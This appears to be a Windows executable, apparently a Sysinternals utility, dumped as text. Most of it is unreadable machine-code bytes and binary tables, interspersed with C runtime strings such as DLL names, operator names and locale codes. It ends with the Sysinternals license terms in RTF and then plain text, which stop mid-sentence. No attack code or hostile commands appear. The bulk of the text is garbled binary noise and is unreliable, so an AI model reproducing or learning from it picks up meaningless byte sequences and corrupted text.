3H\$0H _@tH/tH LL31.Ht@SH AA#DH٩t%Ht 33 >,ƑAAHt  3H [@SH Hb?C3H [H\$WH Hً xK3HL$0H|$0uL$09 uL$49K@NjH\$8H _@SH d$8Hكd$<HL$8ku$HD$8HL$8L$8Hpu 3H [E3D$HT$HHH#H@CH;AH;rHH;v~HH?H;s+HtbMtHHD$D$F)wEEEEu}bEELEO}u HM}t]HM2X }t]HM2X$H\$pH|$xH`]HHXHhHpHx ATAVAWH HI3DDB33ALDB"HH+IH3HWdHHu x F0~,iAWDDH;LHADM/ztHH+HAA @8~8t~4u F0F, @8~0t~,H?iygE3HAYHu @8~0tM~,HAyH!u3=F8 F4F0F, 3@8~0tF,E3IAH\$@H|$XHl$HHt$PH A_A^A\HHXHhHpHx AVHPIcILE~HIAHHc$H$~ HH@t1t-Hd$@DHd$8LHd$0ՉD$(IH|$ e+عDH\$`Hl$hHt$pH|$xHPA^@SH E3?tFӃDADDAȃADȋуDDA DDtAAH [H\$Ht$ATAVAWH DA'DDAAAAуAADыʃ CAуADAʃADʾDA`A#t"= t=@t A;uA  A@A@tAt A@u EAD#A#D D;AȃA ADы ADʋA ADыA ADʋ ACA%t#;tA;t\$@=uA  \$@AAtAtAu @@\$@=et6@t12e\$@㿋AA` 㿋nуADыʃ Cʋу Cыʃ CʋDыA#t"= t=@t A;uA  ց@@tt @u H\$HHt$PH A_A^A\HSHP$$HH$@HXL@<HL$ N-uD$@HP[H\$Ht$WH Ht@ygW@tH s L<@tH s0 @tH s@t @tH s Ht$83H\$0H _HUSVWAVHhH)pHXH3HELAIM_HD$HH\$@D$@HT$HD$@uwu@}uEuEDE_HD$@HD$(HT$HHEoDHL$PHD$ 0+t4t0HD$HMD$@]oUgHD$0D$(t$ HL$H]D$@HMH3;($HA^_^[]HH HL$D$@SHE33DzwEHA$L$#ȉ\$T$ ;u,3H H HT$ HD$ D:w$<EDD+wD(w3H[H8HůAHD$ H8HHh)p(A(At*AuiD@WPE@@!@-D$@WD$8A\$0D$("D$ H$t$xLD$x((t$PHhffH$$HÉL$T$\$!L$T$f.ڮsf.خv H-H*HHd$0HD$xHD$(HD$pHD$ HHHHXHpHx HHUHH HA3ҿ QHEPHEP At HEHAt HEHAt HEHAt HEHAt HEHHMHH3A1AHMHH 3A1AHMHH 3A1AHMHH 3A1AHMH 3A1AHШtHMI tHMI tHEH tHEH  tHEH `H#t>H= t&H=@tH;u0HE'HE HEHE HEHE HE HE 0HEHu8H }@t3HE!P HE0HEHHEH`HE!P`HEHPHHMAA A#A HE0HHEHHHEH`HUB`A#B`HEHHPP3LMDBHMAtH3AtH3 AtH3 AtH3 AtH3 t0ttu(H `H3 H+H3H+ H#}@tAPHAPHH\$8Ht$@H|$HH ]H(ttuh" [!H(@SH E؃?UH [H\$Ht$ WH HHD$8с## ωL$0=u\t%@t !`\L$0t$8H\$@Ht$HH _@SH H? ËH [H(?H(H(MA8HI H(@SEHALALtA@McPLHcL#IcJHCHHCDt DLL3I[ŗLcAL@UH HH ]%L@UH H}pt  LH ]@UH HH ]K@UH@H}@tb}DtMLIcHL]A?H IDD8AIcHL]A?H IDD8H^_H@]@UH HH8t 8t3H ]@UH HH3Ɂ8H ]H(H HAHH HtH\$ H0ȎHHuH\$ H t0H(馎H f   v ^ F 2 "         b R D 8 . l 4H`p"8JXt & D ` r        & 4 B V f z         pV<0$vhTH6( ~lZD4" 2Nv0BR^lz   < J V d (        ~ jP  < nX|s@|s@@@@@o@@ @P@n@xo@i@$/@>@P@@`@0@H@X0@@@`^@@^@@`^@@^@bad allocation(@`^@@^@@`^@@^@,@-@0@i@api-ms-win-core-synch-l1-2-0.dllSleepConditionVariableCSWakeAllConditionVariablep@`^@@^@(I6F l|.B?AqGO`_o=8u[K5N&%I^e2?^%\vLF.2 cR/Ia_o=8u[K5IZLMX-վ{LLd.솲>K b_o=8u[K5c_o=8u[K5Ձn BYu{h<4-BdaKԸ'ZjB݄|PYzԞEd'mBmD&ͺ㘸vD~) E* $<~EB:/Y d_o=8u[K55DG qd.Bmy^! f{h<4-{h<4-{h<4-{h<4-{h<4-J; {h<4-?mYD`{FfmiOB[2V+{K$NTN^F>+K f7F?>D}dUH8RqL{h<4-{h<4-,-E+b̝[~DyT[cvO`T]0lG)cvO`T856UL!&^rC0 SJhF˄sآi@ƫ=_IA8;{h<4- I ÔMN)42{h<4- ei_/E6DM~#G{h<4-zC @8{h<4- fF2*{h<4-T ^&F োIPV>Oۃ+e{h<4-{h<4-{h<4-lM㷜C̲@<ʚt#FA Җn=ҷI IJN"{h<4-{h<4-߰`I薕k'F!s. {h<4-i_>Bqa${h<4-{h<4-{h<4-{h<4-{h<4-{h<4-{h<4- {h<4- {h<4-adUEEgzޙtC3!ɜLr] roɴ $cYCHWD*JKxbjJJ'yC/or̷EBA `L{d@6mǒ0UwMAО-}f]LYBW蠍 6Sb8&UDo9wLϘ0T!~Js=  ) ) t@@`^@@^@bad exception @0@8@H@ X@ h@ x@ @ @@ @ @ @@ @ @ @@@@@ @$@(@,@0@8@D@H@L@P@T@X@\@`@d@h@l@p@t@x@|@@@@@@@@@@@@@@@@@@ @ @@@@ @8@X@x@@@@#@ @ H@h@&@@@@@@#@@ @0@P@p@%@$@%@+@8@ `@"@(@*@@ @0@ @@@X@x@@@@H@\@@@h@@@__based(__cdecl__pascal__stdcall__thiscall__fastcall__vectorcall__clrcall__eabi__swift_1__swift_2__swift_3__ptr64__restrict__unalignedrestrict( new delete=>><<!==!=[]operator->*++---+&->*/%<<=>>=,()~^|&&||*=+=-=/=%=>>=<<=&=|=^=`vftable'`vbtable'`vcall'`typeof'`local static guard'`string'`vbase destructor'`vector deleting destructor'`default constructor closure'`scalar deleting destructor'`vector constructor iterator'`vector destructor iterator'`vector vbase constructor iterator'`virtual displacement map'`eh vector constructor iterator'`eh vector destructor iterator'`eh vector vbase constructor iterator'`copy constructor closure'`udt returning'`EH`RTTI`local vftable'`local vftable constructor closure' new[] delete[]`omni callsig'`placement delete closure'`placement delete[] closure'`managed vector constructor iterator'`managed vector destructor iterator'`eh vector copy constructor iterator'`eh vector vbase copy constructor iterator'`dynamic initializer for '`dynamic atexit destructor for '`vector copy constructor iterator'`vector vbase copy constructor iterator'`managed vector copy constructor iterator'`local static thread guard'operator "" operator co_awaitoperator<=> Type Descriptor' Base Class Descriptor at ( Base Class Array' Class Hierarchy Descriptor' Complete Object Locator'`anonymous namespace'@@@@api-ms-win-core-fibers-l1-1-1api-ms-win-core-synch-l1-2-0kernel32api-ms-FlsAllocFlsFreeFlsGetValueFlsSetValueInitializeCriticalSectionEx(null)(null)" "(0mscoree.dllCorExitProcess 5/?GGGwHHHIIIKKKsMMMtOOOuPPPQQQvRRRSSS1!x2@y3#z4${5%|6^}7&~8*9(0)-_=+ qQwWeErRtTyYuUiI oOpP[{]} aAsSdD fF!gG"hH#jJ $kK %lL &;:''"(`~)\|zZ,xX-cC.vV/bB0nN1mM 2,<3.>4/?5*r ;T^h<U_i=V`j>Wak?Xbl@YcmAZdnB[eoC\fpD]gqG7wH8I9-K4s5M6t+O1uP2Q3vR0S. Tc-^k@tFМ, a\)cd4҇f;lDِe,BbE"&'O@V$gmsmrd'c%{pk>_nj f29.EZ%qVJ.C|!@Ί Ą' |Ô%I@T̿aYܫ\ DgR)`*! VG6K]_܀ @َЀk#cd8L2WBJa"=UD~ $s%rс@b;zO]3AOmm!3VV%(w;I-G 8NhU]i<$qE}A'JnWb쪉"f37>,ެdNj5jVg@;*xh2kůid&_U JW {,Ji)Ǫv6 UړǚK%v t:H孎cY˗i&>r䴆["93uzKG-wn@  _l%Bɝ s|-Ciu+-,W@zbjUUYԾX1EL9MLy;-"m^8{yrvxyN\lo};obwQ4Y+XW߯_w[R/=OB R E]B.4o?nz(wKgg;ɭVl H[=J6RMq! EJjت|Lu<@rd 6x)Q9%0+L ;<(wXC=sF|bt!ۮ.P9B4Ҁy7P,=87MsgmQĢR:#שsDp:RRN/M׫ Ob{!@fu)/wdq=v/}fL3. iLs&`@< q!-7ڊ1BALlȸ|Rabڇ3ah𔽚j-6zƞ) ?IϦw#[/r5D¨N2Lɭ3v2!L.2>p6\BF8҇i>o@@w,=q/ cQrFZ**F΍$'#+GK ŎQ1VÎX/4Bycg6fvPbag ;s?.❲ac*&pa%¹u !,`j;҉s}`+i7$fnIoۍut^6n16B(Ȏy$dAՙ,C瀢.=k=yICyJ"pפldNnEtTWtøBncW[5laQۺNPqc+/ޝ"^̯p?m- }oi^,dH94X<H'W&|.ڋu;-Hm~$P  %-5 > H R ] i u -C Y p        %  d'@Bʚ;minkernel\crts\ucrt\inc\corecrt_internal_strtox.h__crt_strtox::floating_point_value::as_double_is_double__crt_strtox::floating_point_value::as_float!_is_doubleINFinfINITYinityNANnanINFinfINITYinityNANnanSNAN)snan)IND)ind)SNAN)snan)IND)ind)        ! 5A CPR S WY l m pr  )   Y*    " "( @T@+@+@u@u@%@t%@j@j@@<"@x"@$@$@@u@ta@u@@@u@D@ @u@@@@@@@@@@@@@@@@@INFinfNANnanNAN(SNAN)nan(snan)NAN(IND)nan(ind)e+000@@@@@@@@@@@@@@@ @$@(@,@0@4@8@<@@@D@H@P@X@d@l@,@t@|@@@@@@@@@@@@@@ @(@0@8@@@P@`@p@@@@@@@@@@@@@@@ @(@8@P@`@@p@@@@@@@@@@ @H@`@SunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPMMM/dd/yydddd, MMMM dd, yyyyHH:mm:ssSunMonTueWedThuFriSatSundayMondayTuesdayWednesdayThursdayFridaySaturdayJanFebMarAprMayJunJulAugSepOctNovDecJanuaryFebruaryMarchAprilJuneJulyAugustSeptemberOctoberNovemberDecemberAMPMMM/dd/yydddd, MMMM dd, yyyyHH:mm:ssen-US @`@@@ @@@@@@P@@@ @ @ @ !@@8!@P!@`!@!@api-ms-win-core-datetime-l1-1-1api-ms-win-core-file-l1-2-4api-ms-win-core-file-l1-2-2api-ms-win-core-localization-l1-2-1api-ms-win-core-localization-obsolete-l1-2-0api-ms-win-core-processthreads-l1-1-2api-ms-win-core-string-l1-1-0api-ms-win-core-sysinfo-l1-2-1api-ms-win-core-winrt-l1-1-0api-ms-win-core-xstate-l2-1-0api-ms-win-rtcore-ntuser-window-l1-1-0api-ms-win-security-systemfunctions-l1-1-0ext-ms-win-ntuser-dialogbox-l1-1-0ext-ms-win-ntuser-windowstation-l1-1-0advapi32kernelbasentdllapi-ms-win-appmodel-runtime-l1-1-2user32ext-ms-CompareStringExLCMapStringExLocaleNameToLCIDAppPolicyGetProcessTerminationMethod ((((( H   !"#$%&'()*+,-./0123456789:;<=>?@abcdefghijklmnopqrstuvwxyz[\]^_`abcdefghijklmnopqrstuvwxyz{|}~  !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`ABCDEFGHIJKLMNOPQRSTUVWXYZ{|}~ ((((( H ( 0CONIN$"ccsUTF-8UTF-16LEUNICODE*@*@+@+@ja-JPzh-CNko-KRzh-TWuk01#INF1#QNAN1#SNAN1#IND9@9@9@9@9@9@9@9@ 9@ 9@ 9@ 9@ 9@:@:@:@:@ :@(:@0:@8:@@:@H:@P:@X:@`:@h:@p:@x:@:@ :@!:@"$+@#:@$:@%:@&:@':@):@*:@+:@,:@-:@/:@6:@7:@8;@9;@>;@?;@@ ;@A(;@C0;@D8;@F@;@GH;@IP;@JX;@K`;@Nh;@Op;@Px;@V;@W;@Z;@e;@@;@;@;@+@;@;@;@<@ `@ <@  <@ 0<@@<@P<@`<@*@+@p<@<@<@<@<@<@<@<@<@=@=@ =@ 0=@!@=@"P=@#`=@$p=@%=@&=@'=@)=@*=@+=@,=@-=@/>@2>@4(>@58>@6H>@7X>@8h>@9x>@:>@;>@>>@?>@@>@A>@C>@D?@E?@F ?@G0?@I@?@JP?@K`?@Lp?@N?@O?@P?@R?@V?@W?@Z?@e?@k@@l@@ @@0@@*@@@@ P@@ `@@ p@@@@@@@@@@@@@@,@@;A@>A@C A@k8A@ HA@ XA@ hA@ xA@ A@ A@ A@; A@k A@A@A@B@ B@  B@ 0B@@B@;PB@`B@pB@B@ B@ B@ B@B@;B@B@ B@ C@ C@(C@;@C@PC@ `C@ pC@C@;C@ C@ C@ C@; C@$C@ $C@ $D@;$D@((D@ (8D@ (HD@,XD@ ,hD@ ,xD@0D@ 0D@ 0D@4D@ 4D@ 4D@8D@ 8D@<E@ <E@@(E@ @8E@ DHE@ HXE@ LhE@ PxE@|E@|E@arbgcazh-CHScsdadeelenesfifrhehuisitjakonlnoplptroruhrsksqsvthtruridbesletlvltfavihyazeumkafkafohimskkkyswuzttpagutateknmrsamnglkoksyrdivar-SAbg-BGca-EScs-CZda-DKde-DEel-GRfi-FIfr-FRhe-ILhu-HUis-ISit-ITnl-NLnb-NOpl-PLpt-BRro-ROru-RUhr-HRsk-SKsq-ALsv-SEth-THtr-TRur-PKid-IDuk-UAbe-BYsl-SIet-EElv-LVlt-LTfa-IRvi-VNhy-AMaz-AZ-Latneu-ESmk-MKtn-ZAxh-ZAzu-ZAaf-ZAka-GEfo-FOhi-INmt-MTse-NOms-MYkk-KZky-KGsw-KEuz-UZ-Latntt-RUbn-INpa-INgu-INta-INte-INkn-INml-INmr-INsa-INmn-MNcy-GBgl-ESkok-INsyr-SYdiv-MVquz-BOns-ZAmi-NZar-IQde-CHen-GBes-MXfr-BEit-CHnl-BEnn-NOpt-PTsr-SP-Latnsv-FIaz-AZ-Cyrlse-SEms-BNuz-UZ-Cyrlquz-ECar-EGzh-HKde-ATen-AUes-ESfr-CAsr-SP-Cyrlse-FIquz-PEar-LYzh-SGde-LUen-CAes-GTfr-CHhr-BAsmj-NOar-DZzh-MOde-LIen-NZes-CRfr-LUbs-BA-Latnsmj-SEar-MAen-IEes-PAfr-MCsr-BA-Latnsma-NOar-TNen-ZAes-DOsr-BA-Cyrlsma-SEar-OMen-JMes-VEsms-FIar-YEen-CBes-COsmn-FIar-SYen-BZes-PEar-JOen-TTes-ARar-LBen-ZWes-ECar-KWen-PHes-CLar-AEes-UYar-BHes-PYar-QAes-BOes-SVes-HNes-NIes-PRzh-CHTsr@B:@,S@q9@S@T@T@ T@0T@@T@PT@`T@pT@T@T@T@T@CT@T@T@:@)T@U@k:@! U@c9@0U@D@U@}PU@9@hU@E9@xU@GU@9@U@H9@U@U@U@IU@U@;@AU@9@V@J9@V@(V@8V@HV@XV@hV@xV@V@V@V@V@KV@V@9@ V@V@W@W@(W@8W@HW@XW@hW@xW@W@W@W@W@W@W@W@W@X@:@#X@e:@*(X@l:@&8X@h9@ HX@L;@.XX@s9@ hX@xX@X@X@MX@X@;@>X@H;@7X@9@ X@N;@/X@tX:@Y@Y@Z:@ (Y@O:@(8Y@j:@HY@a:@XY@P:@hY@xY@Q:@Y@R:@-Y@r;@1Y@x`;@:Y@ :@;@?Y@Y@S ;@2Y@y:@%Y@g:@$Z@fZ@:@+(Z@m8Z@x;@=HZ@h;@;XZ@;@0hZ@xZ@wZ@uZ@U(:@Z@Z@TZ@0:@Z@@;@6Z@~8:@Z@V@:@[@W[@([@8[@H[@H:@X[@XP:@h[@Yp;@<x[@[@[@v[@`:@[@[:@"[@d[@[@[@\@\@(\@h:@8\@\E@H\@`\@x\@\@p:@\@\@](;@3\@z;@@\@P;@8\@X;@9\@x:@]@^]@n:@(]@_8;@58]@|$+@ H]@b:@X]@`0;@4h]@]@{:@']@i]@o]@]@]@]@]@^@^@F(^@paf-zaar-aear-bhar-dzar-egar-iqar-joar-kwar-lbar-lyar-maar-omar-qaar-saar-syar-tnar-yeaz-az-cyrlaz-az-latnbe-bybg-bgbn-inbs-ba-latnca-escs-czcy-gbda-dkde-atde-chde-dede-lide-ludiv-mvel-gren-auen-bzen-caen-cben-gben-ieen-jmen-nzen-phen-tten-usen-zaen-zwes-ares-boes-cles-coes-cres-does-eces-eses-gtes-hnes-mxes-nies-paes-pees-pres-pyes-sves-uyes-veet-eeeu-esfa-irfi-fifo-fofr-befr-cafr-chfr-frfr-lufr-mcgl-esgu-inhe-ilhi-inhr-bahr-hrhu-huhy-amid-idis-isit-chit-itja-jpka-gekk-kzkn-inkok-inko-krky-kglt-ltlv-lvmi-nzmk-mkml-inmn-mnmr-inms-bnms-mymt-mtnb-nonl-benl-nlnn-nons-zapa-inpl-plpt-brpt-ptquz-boquz-ecquz-pero-roru-rusa-inse-fise-nose-sesk-sksl-sisma-nosma-sesmj-nosmj-sesmn-fisms-fisq-alsr-ba-cyrlsr-ba-latnsr-sp-cyrlsr-sp-latnsv-fisv-sesw-kesyr-syta-inte-inth-thtn-zatr-trtt-ruuk-uaur-pkuz-uz-cyrluz-uz-latnvi-vnxh-zazh-chszh-chtzh-cnzh-hkzh-mozh-sgzh-twzu-za?&{?x?5q(7>PD?%>b?>@??`??UUUUUU???UUUUUU????TUUUU?ƺ?Q#Ib?]4? ?0wG?`!?@?@Y?]??i?`÷?0?v?0ϸ?@'?m?ع?Щ0?_?pߺ?6?䍻?0?@:?p??}?? ?0>?0i?@A?pc?l?D???0Q ?P-?PIO?@p?0?@'?I?X?S?`:7?`X?x?p|??Н??0s?;?P[?`&|???pw?`? ?P?p(?7?0kE?S?+b?p?@~?`? R??๷???P?2? ??pD ?B?9(?*6?PD? " = .3i=W~ =imb;D=W>6Z= y+>>IԭwJ=07?v>Gb=M>Q= z >p=QW.>n[>p)=m6W>OJK>C>*f>8=pT=: r>]'p>qw>` '>M>[^j7>Kb|j>:bβ> >ޔ0>1k>A >+^=lg=)>,ļ,+>De}=7W`@>`z >~|'e>_M>`>1<. />:+>Os&>൏= MǛ/#> yHs=nX>JR!>11Y@/>58d%>_>)MJ$> " > H *>eVM>cQ6 !>6'Yx=%R>jtm}S=` '>Z>U&>䮿Y >?h/>77:ݸ$>a~>I{,>Y)>6{1n>Ur Vr.>Tz3&>Ra+f)>0'C>6Z d >' 4 >yU>^!-=j c?>cQ.> 5b#)>^x8o2>Lj[;>vj"=:1J<>s|d>f3>fvw=>;H9>&X;>7Y9>> 'S5>*StO9>T'4>K Z >`'>%%>΋.>Tu .(!>ʧY3p >%@~+>!n03>Pu?>d׌5>>t"v:>R=>X̤/> Ң;>[ >["`=>7>ː#>>6>\.>9Ir,>X>z8>4&/> VYS9>HVo6>a"$>S= 5>VaR:>V8>(. 0>D=Yc%>2x.&>>=K~Je#>!Ix[>dn-/!> 9٭7>qb(>aIbQ=cQ6 1>v+M<7>=*>!ư*>f[t0>To ->Or=)a ?>ė=l(>> "I c(>\, =F ET5>m0;>9lߙ%>6>ȨmG4>?7>*y W3>ay;>V >bp(=>?gҀ8:>})36,>8!> ;>PӽD8>j`&‘+>+&z*>nOv>h=O>yu`=GQ~f=oj37>k>/>dn9>hS=q)i5>m"e=?~X3>6>Tz36>J`?>!T4<> 0A8>cքBC?>6t9^ c:>VB4>ٲ6>*:8'>0<>Rm=1>"3>PkY)>'._M >5*=4<,BF>^G*>`JK&>.yCB )>O 'L>[.xJ>Hfy\PD>!MԩL>|b=})>\ >vc [1>H')>dL?>Z|F>Ni;>_j+>yC>O@L)>uzKs@>D>He@>5A3>N;kUr=CA > p.>EK>VR>>e kE>fvwM>`7nH> eF>tH/>ѤL>ev[%>J A>@ _A>pP&V6E>`"(5~7>ҹ@0$>y{@>W9oM>W L> փJ>W p0> lD>#,=>B_!">}tM>'>+Ai=1I!>u|KN> c0iN>/پA>+h->|ۈ:>r-4@>%>b?>@ ??? ?۠c?qBJeD? #D%?|?E??z?g1?Pt?t:W?sy:?????ہv`?#?4,Tw?ru\?AA?[,'?tn ?ƿD\n? V?m?^?BZ&?qq?I єX???.9&???+?{>e?к?#+?3=l}?e?O贁N?JH7?ـl@6 ?"1K ?(?^?pp?/?cj`?Y0Q?mЦm?JhAW?AA?Ň*,?Kz??3?-hk?N?U$?? /?r p?w \?H?,4?)I ?ՐO ???7zR?0?:bο?k??J?'t?aa?xO?ݾz?[R֯?Jv?gв9?H"?{Gz?f`Y4m?`?vS?beF?M0':?%f-?QY^& ??feт???B?,?u?{?U)#`?;;?"z8$?c,?f"?88?E[u?Hi?*_]?x+R?FyF?W[:?j\/?+J#?Xw?0 ?`*?h/?KN?K%?P- ?,M?7Z?@+??)A?[r??MΡ8}?5'Ps?'|h?p"^?w~S?$I$I?[`>?߼xV4?*"*?x!?UHy?g G ?  ?p}?L\cf0\ulnone .\b\par\caps\fs20 7.\tab\fs19 SUPPORT SERVICES.\caps0 \b0 Because this software is "as is, " we may not provide support services for it.\b\par\caps\fs20 8.\tab\fs19 Entire Agreement.\b0\caps0 This agreement, and the terms for supplements, updates, Internet-based services and support services that you use, are the entire agreement for the software and support services.\par\pard\keepn\fi-360\li360\sb120\sa120\tx360\cf2\b\caps\fs20 9.\tab\fs19 Applicable Law\caps0 .\par\pard\fi-363\li720\sb120\sa120\tx720\cf0\fs20 a.\tab\fs19 United States.\b0 If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles. The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort.\b\par\pard\fi-363\li720\sb120\sa120\fs20 b.\tab\fs19 Outside the United States.\b0 If you acquired the software in any other country, the laws of that country apply.\b\par\pard\fi-357\li357\sb120\sa120\tx360\caps\fs20 10.\tab\fs19 Legal Effect.\b0\caps0 This agreement describes certain legal rights. You may have other rights under the laws of your country. You may also have rights with respect to the party from whom you acquired the software. This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so.\b\caps\par\fs20 11.\tab\fs19 Disclaimer of Warranty.\caps0 \caps The software is licensed "as - is." You bear the risk of using it. SYSINTERNALS gives no express warranties, guarantees or conditions. You may have additional consumer rights under your local laws which this agreement cannot change. To the extent permitted under your local laws, SYSINTERNALS excludes the implied warranties of merchantability, fitness for a particular purpose and non-infringement.\par\pard\fi-360\li360\sb120\sa120\tx360\fs20 12.\tab\fs19 Limitation on and Exclusion of Remedies and Damages. You can recover from SYSINTERNALS and its suppliers only direct damages up to U.S. $5.00. You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages.\par\pard\li357\sb120\sa120\b0\caps0 This limitation applies to\par\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab anything related to the software, services, content (including code) on third party Internet sites, or third party programs; and\par\pard\fi-363\li720\sb120\sa120\'b7\tab claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law.\par\pard\li360\sb120\sa120 It also applies even if Sysinternals knew or should have known about the possibility of the damages. The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages.\par\pard\b Please note: As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French.\par\pard\sb240\lang1036 Remarque : Ce logiciel \'e9tant distribu\'e9 au Qu\'e9bec, Canada, certaines des clauses dans ce contrat sont fournies ci-dessous en fran\'e7ais.\par\pard\sb120\sa120 EXON\'c9RATION DE GARANTIE.\b0 Le logiciel vis\'e9 par une licence est offert \'ab tel quel \'bb. Toute utilisation de ce logiciel est \'e0 votre seule risque et p\'e9ril. Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez b\'e9n\'e9ficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit\'e9 marchande, d'ad\'e9quation \'e0 un usage particulier et d'absence de contrefa\'e7on sont exclues.\par\pard\keepn\sb120\sa120\b LIMITATION DES DOMMAGES-INT\'c9R\'caTS ET EXCLUSION DE RESPONSABILIT\'c9 POUR LES DOMMAGES.\b0 Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement \'e0 hauteur de 5,00 $ US. Vous ne pouvez pr\'e9tendre \'e0 aucune indemnisation pour les autres dommages, y compris les dommages sp\'e9ciaux, indirects ou accessoires et pertes de b\'e9n\'e9fices.\par\lang1033 Cette limitation concerne :\par\pard\keepn\fi-360\li720\sb120\sa120\tx720\lang1036\'b7\tab tout ce qui est reli\'e9 au logiciel, aux services ou au contenu (y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers ; et\par\pard\fi-363\li720\sb120\sa120\tx720\'b7\tab les r\'e9clamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit\'e9 stricte, de n\'e9gligence ou d'une autre faute dans la limite autoris\'e9e par la loi en vigueur.\par\pard\sb120\sa120 Elle s'applique \'e9galement, m\'eame si Sysinternals connaissait ou devrait conna\'eetre l'\'e9ventualit\'e9 d'un tel dommage. Si votre pays n'autorise pas l'exclusion ou la limitation de responsabilit\'e9 pour les dommages indirects, accessoires ou de quelque nature que ce soit, il se peut que la limitation ou l'exclusion ci-dessus ne s'appliquera pas \'e0 votre \'e9gard.\par\b EFFET JURIDIQUE.\b0 Le pr\'e9sent contrat d\'e9crit certains droits juridiques. Vous pourriez avoir d'autres droits pr\'e9vus par les lois de votre pays. Le pr\'e9sent contrat ne modifie pas les droits que vous conf\'e8rent les lois de votre pays si celles-ci ne le permettent pas.\b\par\pard\b0\fs20\lang1033\par\pard\sa200\sl276\slmult1\f1\fs22\lang9\par}SYSINTERNALS SOFTWARE LICENSE TERMS These license terms are an agreement between Sysinternals(a wholly owned subsidiary of Microsoft Corporation) and you.Please read them.They apply to the software you are downloading from technet.microsoft.com / sysinternals, which includes the media on which you received it, if any.The terms also apply to any Sysinternals * updates, *supplements, *Internet - based services, *and support services for this software, unless other terms accompany those items.If so, those terms apply. BY USING THE SOFTWARE, YOU ACCEPT THESE TERMS.IF YOU DO NOT ACCEPT THEM, DO NOT USE THE SOFTWARE. If you comply with these license terms, you have the rights below. INSTALLATION AND USER RIGHTS You may install and use any number of copies of the software on your devices. SCOPE OF LICENSE The software is licensed, not sold.This agreement only gives you some rights to use the software.Sysinternals reserves all other rights.Unless applicable law gives you more rights despite this limitation, you may use the software only as expressly permitted in this agreement.In doing so, you must comply with any technical limitations in the software that only allow you to use it in certain ways.You may not * work around any technical limitations in the software; *reverse engineer, decompile or disassemble the software, except and only to the extent that applicable law expressly permits, despite this limitation; *make more copies of the software than specified in this agreement or allowed by applicable law, despite this limitation; *publish the software for others to copy; *rent, lease or lend the software; *transfer the software or this agreement to any third party; or * use the software for commercial software hosting services. SENSITIVE INFORMATION Please be aware that, similar to other debug tools that capture  process state information, files saved by Sysinternals tools may include personally identifiable or other sensitive information(such as usernames, passwords, paths to files accessed, and paths to registry accessed).By using this software, you acknowledge that you are aware of this and take sole responsibility for any personally identifiable or other sensitive information provided to Microsoft or any other party through your use of the software. DOCUMENTATION Any person that has valid access to your computer or internal network may copy and use the documentation for your internal, reference purposes. EXPORT RESTRICTIONS The software is subject to United States export laws and regulations.You must comply with all domestic and international export laws and regulations that apply to the software.These laws include restrictions on destinations, end users and end use.For additional information, see www.microsoft.com / exporting . SUPPORT SERVICES Because this software is "as is, " we may not provide support services for it. ENTIRE AGREEMENT This agreement, and the terms for supplements, updates, Internet - based services and support services that you use, are the entire agreement for the software and support services. APPLICABLE LAW United States.If you acquired the software in the United States, Washington state law governs the interpretation of this agreement and applies to claims for breach of it, regardless of conflict of laws principles.The laws of the state where you live govern all other claims, including claims under state consumer protection laws, unfair competition laws, and in tort. Outside the United States.If you acquired the software in any other country, the laws of that country apply. LEGAL EFFECT This agreement describes certain legal rights.You may have other rights under the laws of your country.You may also have rights with respect to the party from whom you acquired the software.This agreement does not change your rights under the laws of your country if the laws of your country do not permit it to do so. DISCLAIMER OF WARRANTY The software is licensed "as - is." You bear the risk of using it.Sysinternals gives no express warranties, guarantees or conditions.You may have additional consumer rights under your local laws which this agreement cannot change.To the extent permitted under your local laws, sysinternals excludes the implied warranties of merchantability, fitness for a particular purpose and non - infringement. LIMITATION ON AND EXCLUSION OF REMEDIES AND DAMAGES You can recover from sysinternals and its suppliers only direct damages up to U.S.$5.00.You cannot recover any other damages, including consequential, lost profits, special, indirect or incidental damages. This limitation applies to * anything related to the software, services, content(including code) on third party Internet sites, or third party programs; and * claims for breach of contract, breach of warranty, guarantee or condition, strict liability, negligence, or other tort to the extent permitted by applicable law. It also applies even if Sysinternals knew or should have known about the possibility of the damages.The above limitation or exclusion may not apply to you because your country may not allow the exclusion or limitation of incidental, consequential or other damages. Please note : As this software is distributed in Quebec, Canada, some of the clauses in this agreement are provided below in French. Remarque : Ce logiciel tant distribu au Qubec, Canada, certaines des clauses dans ce contrat sont fournies ci - dessous en franais. EXONRATION DE GARANTIE.Le logiciel vis par une licence est offert tel quel .Toute utilisation de ce logiciel est votre seule risque et pril.Sysinternals n'accorde aucune autre garantie expresse. Vous pouvez bnficier de droits additionnels en vertu du droit local sur la protection dues consommateurs, que ce contrat ne peut modifier. La ou elles sont permises par le droit locale, les garanties implicites de qualit marchande, d'adquation un usage particulier et d'absence de contrefaon sont exclues. LIMITATION DES DOMMAGES - INTRTS ET EXCLUSION DE RESPONSABILIT POUR LES DOMMAGES.Vous pouvez obtenir de Sysinternals et de ses fournisseurs une indemnisation en cas de dommages directs uniquement hauteur de 5, 00 $ US.Vous ne pouvez prtendre aucune indemnisation pour les autres dommages, y compris les dommages spciaux, indirects ou accessoires et pertes de bnfices. Cette limitation concerne : tout ce qui est reli au logiciel, aux services ou au contenu(y compris le code) figurant sur des sites Internet tiers ou dans des programmes tiers; et les rclamations au titre de violation de contrat ou de garantie, ou au titre de responsabilit stricte, de ngligence ou d'une autre faute dans la limite autorise par la loi en vigueur. Elle s'applique galement, mme si Sysinternals connaissait ou devrait connatre l'ventualit d'un tel dommage. Si votre pays 